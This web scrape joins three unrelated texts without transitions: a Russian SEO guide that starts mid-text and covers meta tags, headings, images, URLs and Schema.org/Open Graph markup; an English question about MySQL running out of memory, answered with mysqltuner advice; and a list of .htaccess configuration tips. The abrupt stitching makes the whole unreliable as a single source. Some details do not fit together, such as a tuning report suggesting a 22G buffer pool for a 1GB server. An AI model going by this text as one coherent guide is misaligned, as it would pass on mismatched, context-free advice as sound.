Купить {категория} {производитель} {продукт} в интернет-магазине ЭЛЬДОРАДО с доставкой и гарантией. Ознакомиться с ценами, отзывами владельцев, фотографиями, техническими характеристиками и подробным описанием {категория} {производитель} {продукт}

Сниппет (Google — взял описание):
image
Сниппет (Яндекс — взял микроразметку):
image

Lenta.ru ( lenta.ru/news/2016/08/16/wadajuliastepanova ):

Олимпийская чемпионка по конькобежному спорту, депутат Госдумы Светлана Журова призвала российскую бегунью Юлию Степанову не паниковать. По словам спортсменки, неизвестные пользователи интернета ей самой ежедневно угрожают расправой. При этом она отметила, что ходит по улицам без охраны.

Шаблон:

{краткое описание новости}

Сниппет (Google — почти что описание, не описание и в тексте такой строки тоже нет):
image
Сниппет (Яндекс – собрал заголовки с других новостей на этой странице из блоков «Ссылки по теме» и «Спорт»):
image

КЛЮЧЕВЫЕ СЛОВА (meta: keywords)

Список ключевых слов, соответствующих содержимому страницы сайта.

Отношение к данному тегу поисковиков:

В связи с этим, ни на что, никак данный фактор не влияет (разве совсем чуть-чуть на Range).

Противопоказания:

  • не больше 20 слов
  • не более 3-х повторов

Рекомендации:

  • больше склонений.
  • опечатки. Список ключевых слов можно разбавить популярными опечатками ключевых слов.
  • англоязычные запросы

Примеры

Эльдорадо ( www.eldorado.ru/cat/detail/71092574 )

программа MICROSOFT Office 365 Personal (1 год), программа MICROSOFT Office 365 Personal (1 год) интернет магазин, купить программа MICROSOFT Office 365 Personal (1 год), цена на программа MICROSOFT Office 365 Personal (1 год), Эльдорадо

Шаблон:

{база} = {категория} {производитель} {продукт}
{база}, {база} интернет магазин, купить {база}, цена на {база}, Эльдорадо

Lenta.ru

Их нет :-)

 

ЗАГОЛОВКИ (H1, H2, H3, …)

Range: +
Usability: +

Заголовок сообщает пользователю, где именно он находится и какую информацию он может найти на данной странице. Например, если это страница продукта, то, очевидно, что в заголовке должно быть его название.
Использование HTML тега заголовка h1 на странице допускается не более одного раза (об этом ниже).

Подробнее про оформление можно прочитать в документации Яндекс.

Применение:

  • Иерархия заголовков.
  • Определение релевантности страницы

Рекомендации:

  • Градация шрифтов. Чем выше уровень заголовка (h1 — самый высокий) — тем больше шрифт заголовка.
  • Ничего лишнего в заголовках H. Не используйте в заголовках H1-H6 ничего кроме текста.
  • Не злоупотребляйте заголовками h2, h3, h4, h5, h6. Чрезмерное количество «важных» элементов страницы может быть истолковано как спам.

 

ПО ПОВОДУ H1

Ограничение на единственное использование тега h1 накладывает не стандарт HTML, а SEO и логика.
В чем суть заголовка? Он определяет название (содержание) блока информации идущего после него.
Чтобы стало понятнее, приведу пример:

<h1>Название статьи</h1>
Содержание статьи

Если говорить про дальнейшую структуризацию:

<h1>Название статьи</h1>
Введение
<h2>Параграф статьи</h2>
содержание параграфа

Суть вложенности и порядка думаю ясна. Так вот теперь возникают закономерные вопросы:

  • А правильно ли если у статьи будет больше 1-го названия?
  • Какое название будет основным?

Собственно из-за возникновения данных неопределенностей, использовать более одного тега H1 не имеет никакого смысла.

ПО ПОВОДУ HTML5

Согласно семантической разметке HTML5, для каждого блока section мы можем писать тэг H1, который будет относиться только к данному блоку. Таким образом на странице могут быть несколько тегов H1.
Например:

<article>
<h1>Заголовок статьи</h1>
Введение
<section>
<h1> Параграф статьи</h1>
содержание параграфа
</section>
</article>

Закономерно вытекают вопросы:

  • Как на это реагирует поисковик?
  • Правильно ли указывать внутри блока section более низкие заголовки с учетом всей страницы (например, внутри section писать заголовок H2, если он не является основным)?

Прошу поделиться опытом и мыслями в комментариях.

Примеры

Эльдорадо

H1: {категория} {производитель} {продукт}
H2: блок программы лояльности и обратный звонок (причем они обернуты в <noindex>)
H3: «Самовывоз» (popup), «Услуги и сервис»

Lenta.ru

H1: {заголовок}
H2: «Материалы по теме»
H3: заголовки новостей из блока «Другие материалы рубрики»
H4: заголовок новостей из блока «Материалы по теме»

 

КАРТИНКИ

Range: +
Usability: +

Существует множество исследований, подтверждающих, что изображения привлекают больше внимания и запоминаются намного лучше, чем текстовая информация. Многие покупатели в онлайн магазинах принимают решение о покупке исключительно по изображению, а не описанию и техническим характеристикам. Именно поэтому картинки должны быть качественные, четкие, яркие, представляющие товар «в лучшем свете». Сделайте картинкой по умолчанию наиболее релевантный или популярный товар.

Применение:

  • поиск по картинкам (Яндекс, Google)
  • возможность читать картинки экранным диктором

Если говорить про код, то по атрибутам тэга есть следующие рекомендации:

  • alt: альтернативное текстовое описания изображения. Выводится пользователю если по каким-либо причинам картинка еще или вообще не загружена. Описание в атрибуте alt должно точно и коротко описывать то, что изображено на картинке. Длинные описания поисковые системы не воспринимают полностью, поэтому желательно ограничиться 50-60 символами.
  • title: всплывающая подсказка. Если в случае с атрибутом alt описывается содержимое картинки, то в случае с атрибутом title, можно сообщить дополнительную информацию о изображении.
  • src: еще один способ обозначить содержимое картинки сделать так, чтобы название файла с изображением соответствовало содержимому картинки. Подробнее про ЧПУ и URL ниже.

Примеры

Эльдорадо

Картинка в заголовке с логотипом:

<imgsrc="http://… /logo_eldorado.png" alt="Интернет-магазин Эльдорадо">

Картинка товара:

<imgsrc="/photos/71/new_71173064_l_1460729339.jpeg/resize/500x375/">

Lenta.ru

Картинка основной новости (к слову тут еще и микроразметка используется):

<imgalt="Светлана Журова" src="http:// /pic_8dfee4ae3c07aa582dfa99439b512b05.jpg">

Картинка блока «Другие материалы рубрики»:

<imgalt="Евгений Тищенко (справа) " src="http://… /top7_d08710e27c95af37801eec8e19ca9473.jpg">

 

Ссылки и URL

Анкор или текст ссылки, должен совпадать (не полностью, но все же) с заголовком страницы. Следовательно, как и заголовок страницы он должен иметь ключи и отражать содержание страницы.

URL с ключевыми словами рассматриваются как один из факторов ранжирования (вероятно из-за повышения CTA т.к. поисковики подсвечивают URL, если он соответствует запросу).

image
image
К слову, в большинстве своем крупные сайты просто «плюют» на ЧПУ. Смысл использовать ID я вижу только в случае меняющегося URL (например, зависящего от заголовка, который может быть изменен).

Примеры

Эльдорадо

http://www.eldorado.ru/cat/1482093/
http://www.eldorado.ru/cat/1482093/SONY/
http://www.eldorado.ru/cat/detail/71173064/

Не понимаю смысл был убирать ID категории в детальной страницы, ну да ладно.

Lenta.ru

https://lenta.ru/news/2016/08/16/
https://lenta.ru/news/2016/08/16/wadajuliastepanova/

Собственно, по первой ссылки мы получим новости за день, но я думаю было бы неплохо сделать возможность смотреть новости, хотя бы за месяц (то есть ссылку вида /news/2016/08/), ну да ладно.

Контент

Самое главное в оптимизации текстового контента — понимать логику наполнения сайта контентом. Ведь оптимизировать нужно не один текст, а весь текстовый контент на странице.

Рекомендации:

  • Чем ближе к началу документа (страницы) находится текст — тем лучше.
  • Чем ближе к началу текста находятся основные ключевые запросы — тем лучше.
  • Начало текста должно быть в зоне видимости первого экрана браузера (без прокрутки).
  • Текст на странице не должен быть скрыт окнами прокрутки, выпадающими блоками и т.п.
  • Используйте иллюстрации. Текст с изображением лучше описывает суть документа и оценивается выше. Бонусом идет попадание по запросу в Гугл и Яндекс «Картинки».
  • Текст должен состоят из четко разделенных логических частей (со своими ключевыми запросами)
  • Теги <b>, <strong>, <u>. Эти теги привлекают внимание к определенным частям и элементам текста. Выделять «жирным» рекомендуется важные моменты текста и ключевые слова.
  • Списки, таблицы и прочее. Не забывайте использовать все инструменты. Чем более разнообразен контент — тем лучше.

Параметры качественного контента:

  • тошнота (степень неестественности частоты употребления ключевых слов) не более 7
  • частота вхождения ключевого слова 3-5%.
  • актуальность. Под актуальностью контента чаще всего понимают его новизну, частоту обновления сайта. Неиссякаемый источник уникального и актуального контента – это комментарии пользователей.

Проанализировать текст на данные (и не только) параметры, можно на этом сайте: advego.ru/text/seo

Про уникальность

Тема холиварная, казалось бы, но на самом деле есть несколько точек зрений, точнее две:

  • уникальность сильно влияет на ранжирование
  • уникальность не сильно влияет на ранж, важна актуальность и востребованность.

Как по мне, в большинстве своем достаточно мелкого рерайта (без него это уж совсем нагло-глупо). Тем более что актуальность куда важнее.

У кого есть факты по данному вопросу или реальная статистика, просьба написать в комментариях.

Про перелинковку

Контекстные ссылки следует рассматривать как неотъемлемую часть внутренней перелинковки, т.к. с их помощью можно передать PageRank на глубинные страницы в структуре сайта и на страницы разделов.

Если у вас есть 5 страниц, на которых есть одни и те же ключевые слова, то страницы могут конкурировать друг с другом в поиске. Благодаря взаимной перелинковке, можно с четырех страниц сослаться на одну по общему ключевому запросу и тем самым указать, что именно эта страница отвечает запросу, а не все пять страниц.

Микроразметка

Очень полезная вещь. В двух словах (а точнее в словах Яндекса):

Цель семантической разметки – сделать интернет более понятным, структурированным и облегчить поисковым системам и специальным программам извлечение и обработку информации для удобного её представления в результатах поиска.

Ниже рассмотрены популярные словари с примерами разметки. Более подробную информации, историю и подробные описания разметки вы можете на соответствующих сайтах.
Если говорить про валидацию, то использовался валидатор Google.

Schema.org ( schema.org / ruschema.org )

Используется для общения с поисковиками. В общем виде структура такая:

<!—контейнер с указанием типа -->
<div itemscope itemtype=’’> 
  <!-- свойства контейнера -->
  <div itemprop=’’></div></div>

Контейнеры могут быть вложены друг в друга.

Продукт:

<div itemscope itemtype="http://schema.org/Product">
  <div itemprop="name">Название</div>
  <div itemprop="description">Описание</div>
  <div itemprop="offers" itemscope itemtype="http://schema.org/Offer">
    <div itemprop="price">1234</div>
    <div itemprop="priceCurrency">RUB</div>
  </div>
</div>

Картинка:

<div itemscope itemtype="http://schema.org/ImageObject">
  <img itemprop="contentUrl" src="http://russia-kurgan.jpg" />
  <div itemprop="name">Название</div>
  <div itemprop="author">Автор</div>
  <div itemprop="contentLocation">Россия, Курган</div>
  <div itemprop="description">Описание картинки</div>
  <meta itemprop="datePublished" content="2008-01-25">
</div>

Видео:

<div itemscope itemtype="http://schema.org/VideoObject">
  <div itemprop="name">Название</div>
  <div itemprop="description">Описание</div>
  <div itemprop="author" itemscope itemtype="http://schema.org/Person">
    <div itemprop="name">Имя автора</div>
  </div>
  <div itemprop="interactionStatistic" itemscope itemtype="http://schema.org/InteractionCounter">
    <link itemprop="interactionType" href="http://schema.org/WatchAction"/>
    <div itemprop="userInteractionCount" content="4356">Количество просмотров</div>
  </div>
  <meta itemprop="thumbnailUrl" content="http://site.ru/thumbnail.png">
  <meta itemprop="uploadDate" content="2016-08-17">
</div>

Статья:

<div itemscope itemtype="http://schema.org/Article">
  <h1 itemprop="headline">Заголовок статьи</h1>
  <div itemprop="description">Описание</div>
  <div itemprop="author">Имя автора</div>
  <div itemprop="interactionStatistic" itemscope itemtype="http://schema.org/InteractionCounter">
    Количество комметариев
    <meta itemprop="interactionType" content="http://schema.org/CommentAction"/>
    <meta itemprop="userInteractionCount" content="78" />
  </div>
  <meta itemprop="mainEntityOfPage" content="http://site.ru/article-url/">
  <meta itemprop="datePublished" content="2016-08-17">
  <meta itemprop="dateModified" content="2016-08-17">
  <meta itemprop="image" content="http://site.ru/image-of-article.png">
</div>

 

Open Graph ( ogp.me / ruogp.me )

Используется для общения с соц. сетями. Все данные прописываются в тэгах внутри , и сообщают социальной сети какие данные есть на данной странице. Для работы OG необходимо изначально подключить пространство имен:

<html prefix="og: http://ogp.me/ns#">

Если используется несколько типов, то их все нужно прописать:

<html xmlns:og=http://ogp.me/ns# xmlns:music="http://ogp.me/ns/music#">

Общие данные:

<meta property="og:title" content="Название, заголовок" />
<meta property="og:type" content="Тип содержания" />
<meta property="og:url" content="URL до объекта" />
<meta property="og:image" content="Картинка" />

Дополнительные данные:

<meta property="og:audio" content="URL музыки" />
<meta property="og:video " content="URL видео" />
<meta property="og:description " content="Описание" />
<meta property="og:locale" content="ru_RU" /> <!-- локализация -->
<meta property="og:site_name " content="Имя сайта" />

Картинки:

<!-- оба варианта идентичны -->
<meta property="og:image" content="http://example.com/ogp.jpg" />
<meta property="og:image:url" content="http://example.com/ogp.jpg" />

<meta property="og:image:secure_url" content="Альтернативный URL для HTTPS" />
<meta property="og:image:type" content="MIME тип" />
<meta property="og:image:width" content="400" />
<meta property="og:image:height" content="300" />

Видео (идентично Картинкам):

<meta property="og:video" content="http://example.com/ogp.swf" />
<meta property="og:video:url" content="http://example.com/ogp.swf" />
<meta property="og:video:secure_url" content="Альтернативный URL для HTTPS" />
<meta property="og:video:type" content="MIME тип" />
<meta property="og:video:width" content="400" />
<meta property="og:video:height" content="300" />

Статья:

<meta property="article:published_time" content="2016-08-17 19:00" />
<meta property="article:modified_time " content="2016-08-17 20:00" />
<meta property="article:expiration_time " content="2016-08-17 21:00" /> <!-- время истечения срока статьи -->
<meta property="article:author " content="Автор статьи (см. тэг Profile)" />
<meta property="article:section " content="Название категории" />
<meta property="article:tag" content="тег1, тег2" />
<meta property="article:tag" content="тег3" />
<meta property="article:tag" content="тег4" />

Есть также удобный в сравнении с schema.org формат записи данных JSON-LD ( json-ld.org ).
Описывать его здесь не стал, т.к. Яндекс его поддерживает не полностью.

Структура сайта

Тут все просто: любая страница сайта, должна быть доступна за 2-3 клика. По поводу «правило 3-ех кликов»:

Речь идет именно о структуре сайта, я как-то натыкался на статистику: посетитель совершал до 20 кликов чтобы совершить нужное ему действие и в итоге можно сделать вывод, что запариваться на этом правиле не стоит. Но тут речь именно про структуру сайта, представьте ситуацию: добраться до страницы вы можете только через 25 кликов, и только так. Вообще не круто.

Собственно, типичная структура может выглядеть так:

  • Категория
  • Подкатегория
  • Страница материала

Это касается не только новостей и каталога товаров, но и структуры страниц.

Подвал

Футер – это неотъемлемая часть любой страницы, и у пользователей есть определенные ожидания относительно него. Например, они рассчитывают найти основные пункты меню (о нас, контакты, телефон), счетчик со статистикой вашего сайта (также важный показатель уровня доверия), а также ссылки на дополнительные ресурсы (ваш блог, статьи по теме, партнеры), социальные сети.

Исследования показывают, что пользователи, которые прокрутили всю вашу страницу до самого конца, очень вовлечены в ваш сайт. Поэтому внизу можно ставить такие блоки, как новости, оформление подписки.

Optimising MySQL settings — mysqld running out of memory

I’m a bit confused about which settings to change in my my.conf file to optimise for my server (the mysql server keeps crashing due to our high traffic).

Here’s the my.cnf file:

[mysqld]

user            = mysql
pid-file        = /var/run/mysqld/mysqld.pid
socket          = /var/run/mysqld/mysqld.sock
port            = 3306
basedir         = /usr
datadir         = /var/lib/mysql
tmpdir          = /tmp
lc-messages-dir = /usr/share/mysql
skip-external-locking

key_buffer              = 16M
max_allowed_packet      = 16M
myisam-recover         = BACKUP
#max_connections        = 100
#table_cache            = 64
#thread_concurrency     = 10

query_cache_limit       = 1M
query_cache_size        = 16M

And the server specs are:

CPU Cores   2 cores
RAM (Memory)    1GB
SSD (Disk Space)    20GB

Running Ubuntu 12.04 LTS

Here are my partitions:

NAME   FSTYPE   SIZE MOUNTPOINT LABEL
vda              20G            
├─vda1 ext4     476M /boot      
├─vda2 swap     477M [SWAP]     
└─vda3 ext4    19.1G / 

MySQL Tuner Install mysqltuner

MySQL Tuner is a useful tool that will connect to a running MySQL instance and offer suggestions for how it can be best configured for your workload. The longer the server has been running for, the better the advice mysqltuner can provide. In a production environment, consider waiting for at least 24 hours before running the tool. You can get install mysqltuner from the Ubuntu repositories:

sudo apt-get install mysqltuner

Then once its been installed, run it:

 mysqltuner

and wait for its final report. The top section provides general information about the database server, and the bottom section provides tuning suggestions to alter in your my.cnf. Most of these can be altered live on the server without restarting, look through the official MySQL documentation (link in Resources section) for the relevant variables to change in production. The following is part of an example report from a production database which shows there may be some benefit from increasing the amount of query cache:

-------- Recommendations -----------------------------------------------------
General recommendations:
    Run OPTIMIZE TABLE to defragment tables for better performance
    Increase table_cache gradually to avoid file descriptor limits
Variables to adjust:
    key_buffer_size (> 1.4G)
    query_cache_size (> 32M)
    table_cache (> 64)
    innodb_buffer_pool_size (>= 22G)

One final comment on tuning databases: Whilst we can broadly say that certain settings are the best, performance can vary from application to application. For example, what works best for WordPress might not be the best for Drupal, Joomla or proprietary applications. Performance is dependent on the types of queries, use of indexes, how efficient the database design is and so on. You may find it useful to spend some time searching for database tuning tips based on what applications you’re using it for. Once you get past a certain point any adjustments you make will only result in minor improvements, and you’ll be better off either improving the application, or looking at scaling up your database environment through either using more powerful hardware or by adding slave servers.


  • Watch the performance metrics section of the mysqltuner report. Keep maximum possible memory under 50%.
  • tmp_table_size, max_heap_table_size variable: keep these equal and high.
  • join_buffer_size, increase in small amounts; it will be multiplied by max_connections.
  • innodb_buffer_pool_size. Make it high.

.htaccess хаки

1. Controlling Access to Files and Directories

Password protection is one thing, but sometimes you may need to completely block users from having the option of accessing a particular file or directory. This usually happens with system folders, such as the includes folder for which applications will need access but no users will ever need the privilege.

To do this, paste this code onto an .htaccess file and and drop it in the directory:

deny from all

However, this will block access to everyone, including you. To grant yourself access you need to specify your IP address. Here is the code:

order deny,allow

deny from all

allow from xxx.xxx.xxx.xxx

xxx.xxx.xxx.xxx is your IP. If you replace the last three digits with 0/12 for example, this will specify a range of IPs within the same network, thus saving you the trouble to list all allowed IPs separately.

If you want to block access to a particular file, including .htaccess itself, use the following snippet instead:

<Files .htaccess>

order allow,deny

deny from all

</Files>

Similarly, if you want to allow given IPs, list them with allow from.

If you want to block access to particular file types, use this instead:

<FilesMatch ".(htaccess|htpasswd|ini|phps|fla|psd|log|sh)$">

Order Allow,Deny

Deny from all

</FilesMatch>

2. Disabling Directory Browsing

To prevent directory browsing, add this:

Options All -Indexes

However, if for some reason you want to enable directory browsing, change it to the following:

Options All +Indexes

3. Speeding-Up Load Times by Compressing Files

You can compress any type of file, not only images. For instance, to compress HTML files, use this:

AddOutputFilterByType DEFLATE text/html

To compress TEXT files, use this:

AddOutputFilterByType DEFLATE text/plain

You can also compress JavaScript, or add compression to multiple file types with one command:

AddOutputFilterByType DEFLATE application/javascript

AddOutputFilterByType DEFLATE application/rss+xml

Alternatively, if you want to compress all of your JavaScript, HTML, and CSS files with GZIP, you can use this:

<IfModule mod_gzip.c>

mod_gzip_on Yes

mod_gzip_dechunk Yes

mod_gzip_item_include file \.(html?|txt|css|js|php|pl)$

mod_gzip_item_include handler ^cgi-script$

mod_gzip_item_include mime ^text\.*

mod_gzip_item_include mime ^application/x-javascript.*

mod_gzip_item_exclude mime ^image\.*

mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*

</IfModule>

4. Protect Your Site against Hotlinking

If you don’t want your images hotlinked, add this to your .htaccess file:

RewriteEngine on

RewriteCond %{HTTP_REFERER} !^$

RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?yourdomain.com [NC]

RewriteRule \.(jpg|jpeg|png|gif)$ - [NC,F,L]

Just replace yourdomain.com with your own and you are good to go.

5. Blocking Visitors Referred from a Particular Domain

If you have users from a particular domain you don’t welcome, you can ban them from your site. For instance, if your site gets listed in a place you don’t want traffic from (i.e. adult sites, blackhat sites, etc.), you can serve them with a 403 Forbidden page. You need to have mod_rewrite enabled but since it is usually on, you should be fine. Add this snippet:

<IfModule mod_rewrite.c>

RewriteEngine on

RewriteCond %{HTTP_REFERER} bannedurl1.com [NC,OR]

RewriteCond %{HTTP_REFERER} bannedurl2.com [NC,OR]

RewriteRule .* - [F]

</ifModule>

You need to replace bannedurl1.com and bannedurl2.com etc. with the domain names you want to blacklist. You may want to use the [NC] flag because it specifies that the domain name you’ve entered isn’t case sensitive. The [F] flag specifies the action to take – in this case to show the 403 Forbidden error. If you want to ban multiple sites, use the [NC,OR] flag for every domain but the last and if you want to ban a single domain use only the [NC] flag.

6. Blocking Requests from Particular User Agents

If your log files show particular user agents (bots or spiders) you can add a few lines to .htaccess and deny them access to your site:

RewriteEngine On  
RewriteBase /  
SetEnvIfNoCase Referer "^$" bad_user
SetEnvIfNoCase User-Agent "^badbot1" bad_user
SetEnvIfNoCase User-Agent "^badbot2" bad_user
SetEnvIfNoCase User-Agent "^badbot3" bad_user
Deny from env=bad_user

Replace badbot1, badbot1, etc. with the names of bots from your log files. This should keep such programs away from your site.

7. Caching Files

Another way to speed your site’s load times is via file caching. Here is what you need to add in order to cache files:

<FilesMatch ".(flv|gif|jpg|jpeg|png|ico|swf|js|css|pdf)$">

Header set Cache-Control "max-age=2592000"

</FilesMatch>

You can add more file types (or remove some of them) to the sequence of files listed in this example – do what suits you. You can also use max-age to specify the amount of time in seconds that your files will live in the cache.

8. Disabling Caching for Particular File Types

If you don’t want to cache particular file types, it is easier not to include them in the cache sequence. However, sometimes files might get cached even if you you don’t explicitly list them there and in this case you may want to disable caching only for them. Most often you will want to disable caching for dynamic files, such as scripts. Here is how to do it:

<FilesMatch ".(pl|php|cgi|spl|scgi|fcgi)$">

Header unset Cache-Control

</FilesMatch>

Just pipe the files you want caching disabled for and this is it.

9. Bypassing the Download Dialogue

By default, when you try to download a file from a Web server, you get a dialogue that asks you if you want to save the file or open it. This dialogue is especially irritating with large media files or PDFs. If the files you have uploaded to your server are for downloads, you can save users the trouble and proceed straight to download. Here is what you need to set in .htaccess:

AddType application/octet-stream .pdf

AddType application/octet-stream .zip

AddType application/octet-stream .mp3

10. Renaming an .htaccess File

If for some reason, mostly security-related, you want to rename your .htaccess file, it is very easy to do it. In theory, renaming an .htaccess file shouldn’t cause problems with the applications running on your server but if by chance you notice such issues after you rename the file, just rename it back to its original name.

AccessFileName htac.cess

You also need to update any entries in the file itself or everywhere .htaccess is mentioned, otherwise you will be getting lots of errors.

11. Changing a Default Index Page

If you want your index page to be something different from the default index.html, index.php, index.htm, etc. this is very easy to do. Here is what you need to add to .htaccess:

DirectoryIndex mypage.html

Replace mypage.html with the actual URL of the page you want to use as index and you are done.

12. Redirecting to a Secure https Connection

If you are using https and you want to redirect users to the secure pages of your site, use this:

RewriteEngine On
RewriteCond %{HTTPS} !on
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}

13. Restricting File Upload Limits in PHP, Maximum Size of Post Data, Max Script Execution Time, etc.

.htaccess allows you to set some values that directly affect your PHP applications. For instance, if you want to impose upload limits in PHP, so that you don’t run out of hosting space because of large files, use this:

php_value upload_max_filesize 15M

Of course, you can set the value to anything you deem appropriate – 15M (MB) in this example isn’t fixed in stone. You can also restrict the maximum post size for uploading in PHP, To do it, add this:

php_value post_max_size 10M

Similarly, you can change 10M to any value that suits you. If you don’t want scripts to execute forever, you can limit their execution time with the help of the following:

php_value max_execution_time 240

240 is the number of seconds before the script will be terminated and as you guess, it could be any value. Finally, if you want to limit the time a script can parse input data, use this:

php_value max_input_time 180

And set any value in seconds that suits you.

14. Disguising File Types

Sometimes you wouldn’t like users, to know the file types of the files on your site. One way to hide this information is if you disguise them. For instance, you can make all your files look as if they are HTML or PHP files:

ForceType application/x-httpd-php
ForceType application/x-httpd-php

There is much more that can be done with .htaccess. For instance, you can set automatic translation of your site’s pages, or set the server timezone, or remove the www from URLs, or use fancy directory listings, etc. In any case, before you start experiments with .htaccess, always backup the original .htaccess, so if things don’t go as planned, you have a working copy to revert to.